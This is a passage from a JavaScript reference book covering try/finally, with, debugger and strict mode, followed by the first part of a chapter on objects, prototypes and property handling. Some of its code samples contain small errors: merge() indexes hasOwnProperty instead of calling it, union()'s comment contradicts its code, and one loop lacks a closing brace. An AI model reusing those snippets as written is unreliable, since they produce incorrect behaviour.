`try` and `finally` can be used together without a `catch` clause. In this case, the `finally` block is simply cleanup code that is guaranteed to be executed, regardless of what happens in the `try` block. Recall that we can't completely simulate a `for` loop with a `while` loop because the `continue` statement behaves differently for the two loops. If we add a `try/finally` statement, we can write a `while` loop that works like a `for` loop and that handles `continue` statements correctly:

```
// Simulate for( initialize ; test ; increment ) body;
initialize ;
while( test ) {
    try { body ; }
    finally { increment ; }
}
```

Note, however, that a *body* that contains a `break` statement behaves slightly differently (causing an extra increment before exiting) in the `while` loop than it does in the `for` loop, so even with the `finally` clause, it is not possible to completely simulate the `for` loop with `while`.

5.7 Miscellaneous Statements

This section describes the remaining three JavaScript statements—`with`, `debugger`, and `use strict`.

5.7.1 with

In §3.10.3, we discussed the scope chain—a list of objects that are searched, in order, to perform variable name resolution. The `with` statement is used to temporarily extend the scope chain. It has the following syntax:

```
with (object)
    statement
```

This statement adds *object* to the front of the scope chain, executes *statement*, and then restores the scope chain to its original state.

The `with` statement is forbidden in strict mode (see §5.7.3) and should be considered deprecated in non-strict mode: avoid using it whenever possible. JavaScript code that uses `with` is difficult to optimize and is likely to run more slowly than the equivalent code written without the `with` statement.

The common use of the `with` statement is to make it easier to work with deeply nested object hierarchies. In client-side JavaScript, for example, you may have to type expressions like this one to access elements of an HTML form:

```
document.forms[0].address.value
```

If you need to write expressions like this a number of times, you can use the `with` statement to add the form object to the scope chain:

```
with(document.forms[0]) {
    // Access form elements directly here. For example:
    name.value = "";
    address.value = "";
    email.value = "";
}
```

This reduces the amount of typing you have to do: you no longer need to prefix each form property name with `document.forms[0]`. That object is temporarily part of the scope chain and is automatically searched when JavaScript needs to resolve an identifier such as `address`. It is just as simple, of course, to avoid the `with` statement and write the code above like this:

```
var f = document.forms[0];
f.name.value = "";
f.address.value = "";
f.email.value = "";
```

Keep in mind that the scope chain is used only when looking up identifiers, not when creating new ones. Consider this code:

```
with(o) x = 1;
```

If the object `o` has a property `x`, then this code assigns the value `1` to that property. But if `x` is not defined in `o`, this code is the same as `x = 1` without the `with` statement. It assigns to a local or global variable named `x`, or creates a new property of the global object. A `with` statement provides a shortcut for reading properties of `o`, but not for creating new properties of `o`.

5.7.2 debugger

The `debugger` statement normally does nothing. If, however, a debugger program is available and is running, then an implementation may (but is not required to) perform some kind of debugging action. In practice, this statement acts like a breakpoint: execution of JavaScript code stops and you can use the debugger to print variables' values,

examine the call stack, and so on. Suppose, for example, that you are getting an exception in your function `f()` because it is being called with an undefined argument, and you can't figure out where this call is coming from. To help you in debugging this problem, you might alter `f()` so that it begins like this:

```
function f(o) {
  if (o === undefined) debugger;  // Temporary line for debugging purposes
  ...                             // The rest of the function goes here.
}
```

Now, when `f()` is called with no argument, execution will stop, and you can use the debugger to inspect the call stack and find out where this incorrect call is coming from.

`debugger` was formally added to the language by ECMAScript 5, but it has been implemented by major browser vendors for quite some time. Note that it is not enough to have a debugger available: the `debugger` statement won't start the debugger for you. If a debugger is already running, however, this statement will cause a breakpoint. If you use the Firebug debugging extension for Firefox, for example, you must have Firebug enabled for the web page you want to debug in order for the `debugger` statement to work.

5.7.3 "use strict"

`"use strict"` is a *directive* introduced in ECMAScript 5. Directives are not statements (but are close enough that `"use strict"` is documented here). There are two important differences between the `"use strict"` directive and regular statements:

- It does not include any language keywords: the directive is just an expression statement that consists of a special string literal (in single or double quotes). JavaScript interpreters that do not implement ECMAScript 5 will simply see an expression statement with no side effects and will do nothing. Future versions of the ECMAScript standard are expected to introduce `use` as a true keyword, allowing the quotation marks to be dropped.
- It can appear only at the start of a script or at the start of a function body, before any real statements have appeared. It need not be the very first thing in the script or function, however: a `"use strict"` directive may be followed or preceded by other string literal expression statements, and JavaScript implementations are allowed to interpret these other string literals as implementation-defined directives. String literal expression statements that follow the first regular statement in a script or function are simply ordinary expression statements; they may not be interpreted as directives and they have no effect.

The purpose of a `"use strict"` directive is to indicate that the code that follows (in the script or function) is *strict code*. The top-level (nonfunction) code of a script is strict code if the script has a `"use strict"` directive. A function body is strict code if it is defined within strict code or if it has a `"use strict"` directive. Code passed to the `eval()` method is strict code if `eval()` is called from strict code or if the string of code includes a `"use strict"` directive.

Strict code is executed in *strict mode*. The strict mode of ECMAScript 5 is a restricted subset of the language that fixes a few important language deficiencies and provides stronger error checking and increased security. The differences between strict mode and non-strict mode are the following (the first three are particularly important):

- The `with` statement is not allowed in strict mode.
- In strict mode, all variables must be declared: a ReferenceError is thrown if you assign a value to an identifier that is not a declared variable, function, function parameter, `catch` clause parameter, or property of the global object. (In non-strict mode, this implicitly declares a global variable by adding a new property to the global object.)
- In strict mode, functions invoked as functions (rather than as methods) have a `this` value of `undefined`. (In non-strict mode, functions invoked as functions are always passed the global object as their `this` value.) This difference can be used to determine whether an implementation supports strict mode:

  ```
  var hasStrictMode = (function() { "use strict"; return this===undefined}());
  ```

  Also, in strict mode, when a function is invoked with `call()` or `apply()`, the `this` value is exactly the value passed as the first argument to `call()` or `apply()`. (In nonstrict mode, `null` and `undefined` values are replaced with the global object and non-object values are converted to objects.)
- In strict mode, assignments to nonwritable properties and attempts to create new properties on nonextensible objects throw a TypeError. (In non-strict mode, these attempts fail silently.)
- In strict mode, code passed to `eval()` cannot declare variables or define functions in the caller's scope as it can in non-strict mode. Instead, variable and function definitions live in a new scope created for the `eval()`. This scope is discarded when the `eval()` returns.
- In strict mode, the `arguments` object (§8.3.2) in a function holds a static copy of the values passed to the function. In non-strict mode, the `arguments` object has "magical" behavior in which elements of the array and named function parameters both refer to the same value.
- In strict mode, a SyntaxError is thrown if the `delete` operator is followed by an unqualified identifier such as a variable, function, or function parameter. (In non-strict mode, such a `delete` expression does nothing and evaluates to `false`.)
- In strict mode, an attempt to delete a nonconfigurable property throws a TypeError. (In non-strict mode, the attempt fails and the `delete` expression evaluates to `false`.)
- In strict mode, it is a syntax error for an object literal to define two or more properties by the same name. (In non-strict mode, no error occurs.)
- In strict mode, it is a syntax error for a function declaration to have two or more parameters with the same name. (In non-strict mode, no error occurs.)

- In strict mode, octal integer literals (beginning with a 0 that is not followed by an x) are not allowed. (In non-strict mode, some implementations allow octal literals.)
- In strict mode, the identifiers `eval` and `arguments` are treated like keywords, and you are not allowed to change their value. You cannot assign a value to these identifiers, declare them as variables, use them as function names, use them as function parameter names, or use them as the identifier of a `catch` block.
- In strict mode, the ability to examine the call stack is restricted. `arguments.caller` and `arguments.callee` both throw a TypeError within a strict mode function. Strict mode functions also have `caller` and `arguments` properties that throw TypeError when read. (Some implementations define these nonstandard properties on non-strict functions.)

5.8 Summary of JavaScript Statements

This chapter introduced each of the JavaScript language's statements. Table 5-1 summarizes them, listing the syntax and purpose of each.

Table 5-1. JavaScript statement syntax

Statement	Syntax	Purpose
break	`break [label];`	Exit from the innermost loop or `switch` or from named enclosing statement
case	`case expression:`	Label a statement within a `switch`
continue	`continue [label];`	Begin next iteration of the innermost loop or the named loop
debugger	`debugger;`	Debugger breakpoint
default	`default:`	Label the default statement within a `switch`
do/while	`do statement while (expression);`	An alternative to the `while` loop
empty	`;`	Do nothing
for	`for(init; test; incr) statement`	An easy-to-use loop
for/in	`for (var in object) statement`	Enumerate the properties of *object*
function	`function name([param[,...]]) { body }`	Declare a function named *name*
if/else	`if (expr) statement1 [else statement2]`	Execute *statement1* or *statement2*
label	`label: statement`	Give *statement* the name *label*
return	`return [expression];`	Return a value from a function
switch	`switch (expression) { statements }`	Multiway branch to `case` or `default:` labels
throw	`throw expression;`	Throw an exception
try	`try { statements }`	Handle exceptions
	`[catch { handler statements }]`	
	`[finally { cleanup statements }]`	

Statement	Syntax	Purpose
use strict	`"use strict";`	Apply strict mode restrictions to script or function
var	`var` *`name`* `[ = expr] [ ,... ];`	Declare and initialize one or more variables
while	`while (`*`expression`*`)` *`statement`*	A basic loop construct
with	`with (`*`object`*`)` *`statement`*	Extend the scope chain (forbidden in strict mode)

CHAPTER 6
Objects

JavaScript's fundamental datatype is the *object*. An object is a composite value: it aggregates multiple values (primitive values or other objects) and allows you to store and retrieve those values by name. An object is an unordered collection of *properties*, each of which has a name and a value. Property names are strings, so we can say that objects map strings to values. This string-to-value mapping goes by various names: you are probably already familiar with the fundamental data structure under the name "hash," "hashtable," "dictionary," or "associative array." An object is more than a simple string-to-value map, however. In addition to maintaining its own set of properties, a JavaScript object also inherits the properties of another object, known as its "prototype." The methods of an object are typically inherited properties, and this "prototypal inheritance" is a key feature of JavaScript.

JavaScript objects are dynamic—properties can usually be added and deleted—but they can be used to simulate the static objects and "structs" of statically typed languages. They can also be used (by ignoring the value part of the string-to-value mapping) to represent sets of strings.

Any value in JavaScript that is not a string, a number, `true`, `false`, `null`, or `undefined` is an object. And even though strings, numbers, and booleans are not objects, they behave like immutable objects (see §3.6).

Recall from §3.7 that objects are *mutable* and are manipulated by reference rather than by value. If the variable `x` refers to an object, and the code `var y = x;` is executed, the variable `y` holds a reference to the same object, not a copy of that object. Any modifications made to the object through the variable `y` are also visible through the variable `x`.

The most common things to do with objects are create them and to set, query, delete, test, and enumerate their properties. These fundamental operations are described in the opening sections of this chapter. The sections that follow cover more advanced topics, many of which are specific to ECMAScript 5.

A *property* has a name and a value. A property name may be any string, including the empty string, but no object may have two properties with the same name. The value

may be any JavaScript value, or (in ECMAScript 5) it may be a getter or a setter function (or both). We'll learn about getter and setter functions in §6.6. In addition to its name and value, each property has associated values that we'll call *property attributes*:

- The *writable* attribute specifies whether the value of the property can be set.
- The *enumerable* attribute specifies whether the property name is returned by a `for/in` loop.
- The *configurable* attribute specifies whether the property can be deleted and whether its attributes can be altered.

Prior to ECMAScript 5, all properties in objects created by your code are writable, enumerable, and configurable. In ECMAScript 5, you can configure the attributes of your properties. §6.7 explains how to do this.

In addition to its properties, every object has three associated *object attributes*:

- An object's *prototype* is a reference to another object from which properties are inherited.
- An object's *class* is a string that categorizes the type of an object.
- An object's *extensible* flag specifies (in ECMAScript 5) whether new properties may be added to the object.

We'll learn more about prototypes and property inheritance in §6.1.3 and §6.2.2, and we will cover all three attributes in more detail in §6.8.

Finally, here are some terms we'll use to distinguish among three broad categories of JavaScript objects and two types of properties:

- A *native object* is an object or class of objects defined by the ECMAScript specification. Arrays, functions, dates, and regular expressions (for example) are native objects.
- A *host object* is an object defined by the host environment (such as a web browser) within which the JavaScript interpreter is embedded. The HTMLElement objects that represent the structure of a web page in client-side JavaScript are host objects. Host objects may also be native objects, as when the host environment defines methods that are normal JavaScript Function objects.
- A *user-defined* object is any object created by the execution of JavaScript code.
- An *own property* is a property defined directly on an object.
- An *inherited property* is a property defined by an object's prototype object.

6.1 Creating Objects

Objects can be created with object literals, with the `new` keyword, and (in ECMAScript 5) with the `Object.create()` function. The subsections below describe each technique.

6.1.1 Object Literals

The easiest way to create an object is to include an object literal in your JavaScript code. An *object literal* is a comma-separated list of colon-separated name:value pairs, enclosed within curly braces. A property name is a JavaScript identifier or a string literal (the empty string is allowed). A property value is any JavaScript expression; the value of the expression (it may be a primitive value or an object value) becomes the value of the property. Here are some examples:

```
var empty = {};                          // An object with no properties
var point = { x:0, y:0 };                // Two properties
var point2 = { x:point.x, y:point.y+1 }; // More complex values
var book = {
    "main title": "JavaScript",          // Property names include spaces,
    'sub-title': "The Definitive Guide", // and hyphens, so use string literals
    "for": "all audiences",              // for is a reserved word, so quote
    author: {                            // The value of this property is
        firstname: "David",              // itself an object.  Note that
        surname: "Flanagan"              // these property names are unquoted.
    }
};
```

In ECMAScript 5 (and some ECMAScript 3 implementations), reserved words may be used as property names without quoting. In general, however, property names that are reserved words must be quoted in ECMAScript 3. In ECMAScript 5, a trailing comma following the last property in an object literal is ignored. Trailing commas are ignored in most ECMAScript 3 implementations, but IE considers them an error.

An object literal is an expression that creates and initializes a new and distinct object each time it is evaluated. The value of each property is evaluated each time the literal is evaluated. This means that a single object literal can create many new objects if it appears within the body of a loop in a function that is called repeatedly, and that the property values of these objects may differ from each other.

6.1.2 Creating Objects with new

The `new` operator creates and initializes a new object. The `new` keyword must be followed by a function invocation. A function used in this way is called a *constructor* and serves to initialize a newly created object. Core JavaScript includes built-in constructors for native types. For example:

```
var o = new Object();     // Create an empty object: same as {}.
var a = new Array();      // Create an empty array: same as [].
var d = new Date();       // Create a Date object representing the current time
var r = new RegExp("js"); // Create a RegExp object for pattern matching.
```

In addition to these built-in constructors, it is common to define your own constructor functions to initialize newly created objects. Doing so is covered in Chapter 9.

6.1.3 Prototypes

Before we can cover the third object creation technique, we must pause for a moment to explain prototypes. Every JavaScript object has a second JavaScript object (or `null`, but this is rare) associated with it. This second object is known as a prototype, and the first object inherits properties from the prototype.

All objects created by object literals have the same prototype object, and we can refer to this prototype object in JavaScript code as `Object.prototype`. Objects created using the `new` keyword and a constructor invocation use the value of the `prototype` property of the constructor function as their prototype. So the object created by `new Object()` inherits from `Object.prototype` just as the object created by `{}` does. Similarly, the object created by `new Array()` uses `Array.prototype` as its prototype, and the object created by `new Date()` uses `Date.prototype` as its prototype.

`Object.prototype` is one of the rare objects that has no prototype: it does not inherit any properties. Other prototype objects are normal objects that do have a prototype. All of the built-in constructors (and most user-defined constructors) have a prototype that inherits from `Object.prototype`. For example, `Date.prototype` inherits properties from `Object.prototype`, so a Date object created by `new Date()` inherits properties from both `Date.prototype` and `Object.prototype`. This linked series of prototype objects is known as a *prototype chain*.

An explanation of how property inheritance works is in §6.2.2. We'll learn how to query the prototype of an object in §6.8.1. And Chapter 9 explains the connection between prototypes and constructors in more detail: it shows how to define new "classes" of objects by writing a constructor function and setting its `prototype` property to the prototype object to be used by the "instances" created with that constructor.

6.1.4 Object.create()

ECMAScript 5 defines a method, `Object.create()`, that creates a new object, using its first argument as the prototype of that object. `Object.create()` also takes an optional second argument that describes the properties of the new object. This second argument is covered in §6.7.

`Object.create()` is a static function, not a method invoked on individual objects. To use it, simply pass the desired prototype object:

```
var o1 = Object.create({x:1, y:2});       // o1 inherits properties x and y.
```

You can pass `null` to create a new object that does not have a prototype, but if you do this, the newly created object will not inherit anything, not even basic methods like `toString()` (which means it won't work with the `+` operator either):

```
var o2 = Object.create(null);             // o2 inherits no props or methods.
```


Download from Wow! eBook <www.wowebook.com>

If you want to create an ordinary empty object (like the object returned by `{}` or `new Object()`), pass `Object.prototype`:

```
var o3 = Object.create(Object.prototype); // o3 is like {} or new Object().
```

The ability to create a new object with an arbitrary prototype (put another way: the ability to create an "heir" for any object) is a powerful one, and we can simulate it in ECMAScript 3 with a function like the one in Example 6-1.[1]

Example 6-1. Creating a new object that inherits from a prototype

```
// inherit() returns a newly created object that inherits properties from the
// prototype object p.  It uses the ECMAScript 5 function Object.create() if
// it is defined, and otherwise falls back to an older technique.
function inherit(p) {
    if (p == null) throw TypeError(); // p must be a non-null object
    if (Object.create)                // If Object.create() is defined...
        return Object.create(p);      //    then just use it.
    var t = typeof p;                 // Otherwise do some more type checking
    if (t !== "object" && t !== "function") throw TypeError();
    function f() {};                  // Define a dummy constructor function.
    f.prototype = p;                  // Set its prototype property to p.
    return new f();                   // Use f() to create an "heir" of p.
}
```

The code in the `inherit()` function will make more sense after we've covered constructors in Chapter 9. For now, please just accept that it returns a new object that inherits the properties of the argument object. Note that `inherit()` is not a full replacement for `Object.create()`: it does not allow the creation of objects with `null` prototypes, and it does not accept the optional second argument that `Object.create()` does. Nevertheless, we'll use `inherit()` in a number of examples in this chapter and again in Chapter 9.

One use for our `inherit()` function is when you want to guard against unintended (but nonmalicious) modification of an object by a library function that you don't have control over. Instead of passing the object directly to the function, you can pass an heir. If the function reads properties of the heir, it will see the inherited values. If it sets properties, however, those properties will only affect the heir, not your original object:

```
var o = { x: "don't change this value" };
library_function(inherit(o));  // Guard against accidental modifications of o
```

To understand why this works, you need to know how properties are queried and set in JavaScript. These are the topics of the next section.

1. Douglas Crockford is generally credited as the first to propose a function that creates objects in this way. See *http://javascript.crockford.com/prototypal.html*.

6.2 Querying and Setting Properties

To obtain the value of a property, use the dot (`.`) or square bracket (`[]`) operators described in §4.4. The left-hand side should be an expression whose value is an object. If using the dot operator, the right-hand must be a simple identifier that names the property. If using square brackets, the value within the brackets must be an expression that evaluates to a string that contains the desired property name:

```
var author = book.author;      // Get the "author" property of the book.
var name = author.surname      // Get the "surname" property of the author.
var title = book["main title"] // Get the "main title" property of the book.
```

To create or set a property, use a dot or square brackets as you would to query the property, but put them on the left-hand side of an assignment expression:

```
book.edition = 6;                  // Create an "edition" property of book.
book["main title"] = "ECMAScript";  // Set the "main title" property.
```

In ECMAScript 3, the identifier that follows the dot operator cannot be a reserved word: you cannot write `o.for` or `o.class`, for example, because `for` is a language keyword and `class` is reserved for future use. If an object has properties whose name is a reserved word, you must use square bracket notation to access them: `o["for"]` and `o["class"]`. ECMAScript 5 relaxes this restriction (as do some implementations of ECMAScript 3) and allows reserved words to follow the dot.

When using square bracket notation, we've said that the expression inside the square brackets must evaluate to a string. A more precise statement is that the expression must evaluate to a string or a value that can be converted to a string. In Chapter 7, for example, we'll see that it is common to use numbers inside the square brackets.

6.2.1 Objects As Associative Arrays

As explained above, the following two JavaScript expressions have the same value:

```
object.property
object["property"]
```

The first syntax, using the dot and an identifier, is like the syntax used to access a static field of a struct or object in C or Java. The second syntax, using square brackets and a string, looks like array access, but to an array indexed by strings rather than by numbers. This kind of array is known as an associative array (or hash or map or dictionary). JavaScript objects are associative arrays, and this section explains why that is important.

In C, C++, Java, and similar strongly typed languages, an object can have only a fixed number of properties, and the names of these properties must be defined in advance. Since JavaScript is a loosely typed language, this rule does not apply: a program can create any number of properties in any object. When you use the `.` operator to access a property of an object, however, the name of the property is expressed as an identifier. Identifiers must be typed literally into your JavaScript program; they are not a datatype, so they cannot be manipulated by the program.

On the other hand, when you access a property of an object with the `[]` array notation, the name of the property is expressed as a string. Strings are JavaScript datatypes, so they can be manipulated and created while a program is running. So, for example, you can write the following code in JavaScript:

```
var addr = "";
for(i = 0; i < 4; i++) {
    addr += customer["address" + i] + '\n';
```

This code reads and concatenates the `address0`, `address1`, `address2`, and `address3` properties of the `customer` object.

This brief example demonstrates the flexibility of using array notation to access properties of an object with string expressions. The code above could be rewritten using the dot notation, but there are cases in which only the array notation will do. Suppose, for example, that you are writing a program that uses network resources to compute the current value of the user's stock market investments. The program allows the user to type in the name of each stock she owns as well as the number of shares of each stock. You might use an object named `portfolio` to hold this information. The object has one property for each stock. The name of the property is the name of the stock, and the property value is the number of shares of that stock. So, for example, if a user holds 50 shares of stock in IBM, the `portfolio.ibm` property has the value `50`.

Part of this program might be a function for adding a new stock to the portfolio:

```
function addstock(portfolio, stockname, shares) {
    portfolio[stockname] = shares;
}
```

Since the user enters stock names at runtime, there is no way that you can know the property names ahead of time. Since you can't know the property names when you write the program, there is no way you can use the `.` operator to access the properties of the `portfolio` object. You can use the `[]` operator, however, because it uses a string value (which is dynamic and can change at runtime) rather than an identifier (which is static and must be hardcoded in the program) to name the property.

Chapter 5 introduced the `for/in` loop (and we'll see it again shortly in §6.5). The power of this JavaScript statement becomes clear when you consider its use with associative arrays. Here's how you'd use it when computing the total value of a portfolio:

```
function getvalue(portfolio) {
    var total = 0.0;
    for(stock in portfolio) {           // For each stock in the portfolio:
        var shares = portfolio[stock];  //   get the number of shares
        var price = getquote(stock);    //   look up share price
        total += shares * price;        //   add stock value to total value
    }
    return total;                       // Return total value.
}
```

6.2.2 Inheritance

JavaScript objects have a set of "own properties," and they also inherit a set of properties from their prototype object. To understand this, we must consider property access in more detail. The examples in this section use the `inherit()` function from Example 6-1 in order to create objects with specified prototypes.

Suppose you query the property `x` in the object `o`. If `o` does not have an own property with that name, the prototype object of `o` is queried for the property `x`. If the prototype object does not have an own property by that name, but has a prototype itself, the query is performed on the prototype of the prototype. This continues until the property `x` is found or until an object with a `null` prototype is searched. As you can see, the *prototype* attribute of an object creates a chain or linked list from which properties are inherited.

```
var o = {}            // o inherits object methods from Object.prototype
o.x = 1;              // and has an own property x.
var p = inherit(o);   // p inherits properties from o and Object.prototype
p.y = 2;              // and has an own property y.
var q = inherit(p);   // q inherits properties from p, o, and Object.prototype
q.z = 3;              // and has an own property z.
var s = q.toString(); // toString is inherited from Object.prototype
q.x + q.y             // => 3: x and y are inherited from o and p
```

Now suppose you assign to the property `x` of the object `o`. If `o` already has an own (noninherited) property named `x`, then the assignment simply changes the value of this existing property. Otherwise, the assignment creates a new property named `x` on the object `o`. If `o` previously inherited the property `x`, that inherited property is now hidden by the newly created own property with the same name.

Property assignment examines the prototype chain to determine whether the assignment is allowed. If `o` inherits a read-only property named `x`, for example, then the assignment is not allowed. (Details about when a property may be set are in §6.2.3.) If the assignment is allowed, however, it always creates or sets a property in the original object and never modifies the prototype chain. The fact that inheritance occurs when querying properties but not when setting them is a key feature of JavaScript because it allows us to selectively override inherited properties:

```
var unitcircle = { r:1 };     // An object to inherit from
var c = inherit(unitcircle);  // c inherits the property r
c.x = 1; c.y = 1;             // c defines two properties of its own
c.r = 2;                      // c overrides its inherited property
unitcircle.r;                 // => 1: the prototype object is not affected
```

There is one exception to the rule that a property assignment either fails or creates or sets a property in the original object. If `o` inherits the property `x`, and that property is an accessor property with a setter method (see §6.6), then that setter method is called rather than creating a new property `x` in `o`. Note, however, that the setter method is called on the object `o`, not on the prototype object that defines the property, so if the

setter method defines any properties, it will do so on `o`, and it will again leave the prototype chain unmodified.

6.2.3 Property Access Errors

Property access expressions do not always return or set a value. This section explains the things that can go wrong when you query or set a property.

It is not an error to query a property that does not exist. If the property `x` is not found as an own property or an inherited property of `o`, the property access expression `o.x` evaluates to `undefined`. Recall that our book object has a "sub-title" property, but not a "subtitle" property:

```
book.subtitle;    // => undefined: property doesn't exist
```

It is an error, however, to attempt to query a property of an object that does not exist. The `null` and `undefined` values have no properties, and it is an error to query properties of these values. Continuing the above example:

```
// Raises a TypeError exception. undefined doesn't have a length property
var len = book.subtitle.length;
```

Unless you are certain that both `book` and `book.subtitle` are (or behave like) objects, you shouldn't write the expression `book.subtitle.length`, since it might raise an exception. Here are two ways to guard against this kind of exception:

```
// A verbose and explicit technique
var len = undefined;
if (book) {
    if (book.subtitle) len = book.subtitle.length;
}

// A concise and idiomatic alternative to get subtitle length or undefined
var len = book && book.subtitle && book.subtitle.length;
```

To understand why this idiomatic expression works to prevent TypeError exceptions, you might want to review the short-circuiting behavior of the `&&` operator in §4.10.1.

Attempting to set a property on `null` or `undefined` also causes a TypeError, of course. Attempts to set properties on other values do not always succeed, either: some properties are read-only and cannot be set, and some objects do not allow the addition of new properties. Curiously, however, these failed attempts to set properties usually fail silently:

```
// The prototype properties of built-in constructors are read-only.
Object.prototype = 0;  // Assignment fails silently; Object.prototype unchanged
```

This historical quirk of JavaScript is rectified in the strict mode of ECMAScript 5. In strict mode, any failed attempt to set a property throws a TypeError exception.

The rules that specify when a property assignment succeeds and when it fails are intuitive but difficult to express concisely. An attempt to set a property `p` of an object `o` fails in these circumstances:

- `o` has an own property `p` that is read-only: it is not possible to set read-only properties. (See the `defineProperty()` method, however, for an exception that allows configurable read-only properties to be set.)
- `o` has an inherited property `p` that is read-only: it is not possible to hide an inherited read-only property with an own property of the same name.
- `o` does not have an own property `p`; `o` does not inherit a property `p` with a setter method, and `o`'s *`extensible`* attribute (see §6.8.3) is `false`. If `p` does not already exist on `o`, and if there is no setter method to call, then `p` must be added to `o`. But if `o` is not extensible, then no new properties can be defined on it.

6.3 Deleting Properties

The `delete` operator (§4.13.3) removes a property from an object. Its single operand should be a property access expression. Surprisingly, `delete` does not operate on the value of the property but on the property itself:

```
delete book.author;          // The book object now has no author property.
delete book["main title"];   // Now it doesn't have "main title", either.
```

The `delete` operator only deletes own properties, not inherited ones. (To delete an inherited property, you must delete it from the prototype object in which it is defined. Doing this affects every object that inherits from that prototype.)

A `delete` expression evaluates to `true` if the delete succeeded or if the delete had no effect (such as deleting a nonexistent property). `delete` also evaluates to `true` when used (meaninglessly) with an expression that is not a property access expression:

```
o = {x:1};          // o has own property x and inherits property toString
delete o.x;         // Delete x, and return true
delete o.x;         // Do nothing (x doesn't exist), and return true
delete o.toString;  // Do nothing (toString isn't an own property), return true
delete 1;           // Nonsense, but evaluates to true
```

`delete` does not remove properties that have a *configurable* attribute of `false`. (Though it will remove configurable properties of nonextensible objects.) Certain properties of built-in objects are nonconfigurable, as are properties of the global object created by variable declaration and function declaration. In strict mode, attempting to delete a nonconfigurable property causes a TypeError. In non-strict mode (and in ECMAScript 3), `delete` simply evaluates to `false` in this case:

```
delete Object.prototype;  // Can't delete; property is non-configurable
var x = 1;                // Declare a global variable
delete this.x;            // Can't delete this property
function f() {}           // Declare a global function
delete this.f;            // Can't delete this property either
```

When deleting configurable properties of the global object in non-strict mode, you can omit the reference to the global object and simply follow the `delete` operator with the property name:

```
this.x = 1;      // Create a configurable global property (no var)
delete x;        // And delete it
```

In strict mode, however, `delete` raises a SyntaxError if its operand is an unqualified identifier like `x`, and you have to be explicit about the property access:

```
delete x;        // SyntaxError in strict mode
delete this.x;   // This works
```

6.4 Testing Properties

JavaScript objects can be thought of as sets of properties, and it is often useful to be able to test for membership in the set—to check whether an object has a property with a given name. You can do this with the `in` operator, with the `hasOwnProperty()` and `propertyIsEnumerable()` methods, or simply by querying the property.

The `in` operator expects a property name (as a string) on its left side and an object on its right. It returns `true` if the object has an own property or an inherited property by that name:

```
var o = { x: 1 }
"x" in o;         // true: o has an own property "x"
"y" in o;         // false: o doesn't have a property "y"
"toString" in o;  // true: o inherits a toString property
```

The `hasOwnProperty()` method of an object tests whether that object has an own property with the given name. It returns `false` for inherited properties:

```
var o = { x: 1 }
o.hasOwnProperty("x");        // true: o has an own property x
o.hasOwnProperty("y");        // false: o doesn't have a property y
o.hasOwnProperty("toString"); // false: toString is an inherited property
```

The `propertyIsEnumerable()` refines the `hasOwnProperty()` test. It returns `true` only if the named property is an own property and its *`enumerable`* attribute is `true`. Certain built-in properties are not enumerable. Properties created by normal JavaScript code are enumerable unless you've used one of the ECMAScript 5 methods shown later to make them nonenumerable.

```
var o = inherit({ y: 2 });
o.x = 1;
o.propertyIsEnumerable("x");  // true: o has an own enumerable property x
o.propertyIsEnumerable("y");  // false: y is inherited, not own
Object.prototype.propertyIsEnumerable("toString"); // false: not enumerable
```

Instead of using the `in` operator it is often sufficient to simply query the property and use `!==` to make sure it is not undefined:

```
var o = { x: 1 }
o.x !== undefined;        // true: o has a property x
```

```
o.y !== undefined;        // false: o doesn't have a property y
o.toString !== undefined; // true: o inherits a toString property
```

There is one thing the `in` operator can do that the simple property access technique shown above cannot do. `in` can distinguish between properties that do not exist and properties that exist but have been set to `undefined`. Consider this code:

```
var o = { x: undefined }   // Property is explicitly set to undefined
o.x !== undefined          // false: property exists but is undefined
o.y !== undefined          // false: property doesn't even exist
"x" in o                   // true: the property exists
"y" in o                   // false: the property doesn't exists
delete o.x;                // Delete the property x
"x" in o                   // false: it doesn't exist anymore
```

Note that the code above uses the `!==` operator instead of `!=`. `!==` and `===` distinguish between `undefined` and `null`. Sometimes, however, you don't want to make this distinction:

```
// If o has a property x whose value is not null or undefined, double it.
if (o.x != null) o.x *= 2;

// If o has a property x whose value does not convert to false, double it.
// If x is undefined, null, false, "", 0, or NaN, leave it alone.
if (o.x) o.x *= 2;
```

6.5 Enumerating Properties

Instead of testing for the existence of individual properties, we sometimes want to iterate through or obtain a list of all the properties of an object. This is usually done with the `for/in` loop, although ECMAScript 5 provides two handy alternatives.

The `for/in` loop was covered in §5.5.4. It runs the body of the loop once for each enumerable property (own or inherited) of the specified object, assigning the name of the property to the loop variable. Built-in methods that objects inherit are not enumerable, but the properties that your code adds to objects are enumerable (unless you use one of the functions described later to make them nonenumerable). For example:

```
var o = {x:1, y:2, z:3};             // Three enumerable own properties
o.propertyIsEnumerable("toString")   // => false: not enumerable
for(p in o)                          // Loop through the properties
    console.log(p);                  // Prints x, y, and z, but not toString
```

Some utility libraries add new methods (or other properties) to `Object.prototype` so that they are inherited by, and available to, all objects. Prior to ECMAScript 5, however, there is no way to make these added methods nonenumerable, so they are enumerated by `for/in` loops. To guard against this, you might want to filter the properties returned by `for/in`. Here are two ways you might do so:

```
for(p in o) {
    if (!o.hasOwnProperty(p)) continue;       // Skip inherited properties
}
```

```
    for(p in o) {
        if (typeof o[p] === "function") continue; // Skip methods
    }
```

Example 6-2 defines utility functions that use `for/in` loops to manipulate object properties in helpful ways. The `extend()` function, in particular, is one that is commonly included in JavaScript utility libraries.[2]

Example 6-2. Object utility functions that enumerate properties

```
/*
 * Copy the enumerable properties of p to o, and return o.
 * If o and p have a property by the same name, o's property is overwritten.
 * This function does not handle getters and setters or copy attributes.
 */
function extend(o, p) {
    for(prop in p) {                        // For all props in p.
        o[prop] = p[prop];                  // Add the property to o.
    }
    return o;
}

/*
 * Copy the enumerable properties of p to o, and return o.
 * If o and p have a property by the same name, o's property is left alone.
 * This function does not handle getters and setters or copy attributes.
 */
function merge(o, p) {
    for(prop in p) {                          // For all props in p.
        if (o.hasOwnProperty[prop]) continue;  // Except those already in o.
        o[prop] = p[prop];                    // Add the property to o.
    }
    return o;
}

/*
 * Remove properties from o if there is not a property with the same name in p.
 * Return o.
 */
function restrict(o, p) {
    for(prop in o) {                        // For all props in o
        if (!(prop in p)) delete o[prop];   // Delete if not in p
    }
    return o;
}

/*
 * For each property of p, delete the property with the same name from o.
 * Return o.
 */
function subtract(o, p) {
```

2. The implementation of `extend()` shown here is correct but does not compensate for a well-known bug in Internet Explorer. We'll see a more robust version of `extend()` in Example 8-3.

```
    for(prop in p) {                        // For all props in p
        delete o[prop];                     // Delete from o (deleting a
                                            // nonexistent prop is harmless)
    }
    return o;
}

/*
 * Return a new object that holds the properties of both o and p.
 * If o and p have properties by the same name, the values from o are used.
 */
function union(o,p) { return extend(extend({},o), p); }

/*
